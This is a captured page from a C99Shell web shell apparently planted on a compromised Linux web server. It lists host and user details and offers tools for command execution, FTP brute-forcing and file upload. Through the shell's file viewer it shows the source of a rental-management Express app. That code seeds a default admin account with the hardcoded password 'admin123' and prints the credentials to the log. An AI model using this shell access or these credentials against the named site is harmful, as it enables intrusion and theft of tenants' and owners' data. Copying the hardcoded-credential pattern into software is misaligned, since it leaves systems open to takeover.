!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     app.js (4.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
import cors from 'cors';
import path from 'path';
import { fileURLToPath } from 'url';
import dotenv from 'dotenv';
import bcrypt from 'bcryptjs';

dotenv.config();

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);

import { sequelize, User } from './models/index.js';

// Import routes
import authRoutes from './routes/auth.js';
import userRoutes from './routes/users.js';
import buildingRoutes from './routes/buildings.js';
import uploadRoutes from './routes/upload.js';
import floorRoutes from './routes/floor.js'; 
import roomRoutes from './routes/room.js';
import bedRoutes from './routes/bed.js';
import renterRoutes from './routes/renter.js';
import rentPaymentRoutes from './routes/rent.js';
import maintenanceRoutes from './routes/maintenance.js';
import expenseRoutes from './routes/expense.js';
import noticeRoutes from './routes/notice.js';
import visitorRoutes from './routes/visitor.js';
import settingsRoutes from './routes/settings.js';

const app = express();

// Middleware
app.use(cors());
app.use(express.json({ limit: '10mb' }));
app.use(express.urlencoded({ extended: true, limit: '10mb' }));

// Serve static files
app.use('/uploads', express.static(path.join(__dirname, '../uploads')));

// Routes
app.use('/api/auth', authRoutes);
app.use('/api/users', userRoutes);
app.use('/api/buildings', buildingRoutes);
app.use('/api/upload', uploadRoutes);
app.use('/api/floors', floorRoutes);
app.use('/api/rooms', roomRoutes);
app.use('/api/beds', bedRoutes);
app.use('/api/renters', renterRoutes);
app.use('/api/rents', rentPaymentRoutes);
app.use('/api/maintenance', maintenanceRoutes);
app.use('/api/expense', expenseRoutes);
app.use('/api/notices', noticeRoutes);
app.use('/api/visitors', visitorRoutes);
app.use('/api/settings', settingsRoutes);
// Health check
app.get('/api/health', (req, res) => {
  res.json({ status: 'OK', timestamp: new Date().toISOString() });
});

// Error handling middleware
app.use((error, req, res, next) => {
  console.error('Error:', error);
  res.status(error.status || 500).json({
    message: error.message || 'Internal server error',
    ...(process.env.NODE_ENV === 'development' && { stack: error.stack })
  });
});

// 404 handler
// app.use('*', (req, res) => {
//   res.status(404).json({ message: 'Route not found' });
// });
app.use('/assets', express.static(path.join(__dirname, '../dist/assets')));
console.log(path.join(__dirname, '../dist/index.html'));
app.get('*', (req, res) => {
  res.sendFile(path.join(__dirname, '../dist/index.html')); // Adjust path as needed
});
const PORT = process.env.PORT || 3001;

// Database connection and server start
const startServer = async () => {
  try {
    // Test database connection
    await sequelize.authenticate();
    console.log('Database connection established successfully.');

    // Sync database (create tables force: false,)
     await sequelize.sync({ alter: true });
    console.log('Database synchronized successfully.');

    // Create default admin user if not exists
    try {
      const adminExists = await User.findOne({ where: { email: 'admin@apartment.com' } });
      
      if (!adminExists) {
        const hashedPassword = await bcrypt.hash('admin123', 12);
        
        await User.create({
          name: 'Admin User',
          email: 'admin@apartment.com',
          password: hashedPassword,
          role: 'admin',
          permissions: ['view', 'edit', 'manage', 'delete', 'reports', 'settings', 'user_management'],
          department: 'Administration',
          phone: '+880123456789',
          is_active: true
        });
        console.log('Default admin user created successfully');
        console.log('Login credentials: admin@apartment.com / admin123');
      } else {
        console.log('Admin user already exists');
        console.log('Login credentials: admin@apartment.com / admin123');
      }
    } catch (userError) {
      console.error('Error creating admin user:', userError);
    }
    
    app.listen(PORT, () => {
      console.log(`Server running on port ${PORT}`);
      console.log(`Environment: ${process.env.NODE_ENV}`);
      console.log(`API available at: http://localhost:${PORT}/api`);
    });
  } catch (error) {
    console.error('Unable to start server:', error);
    process.exit(1);
  }
};

startServer();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--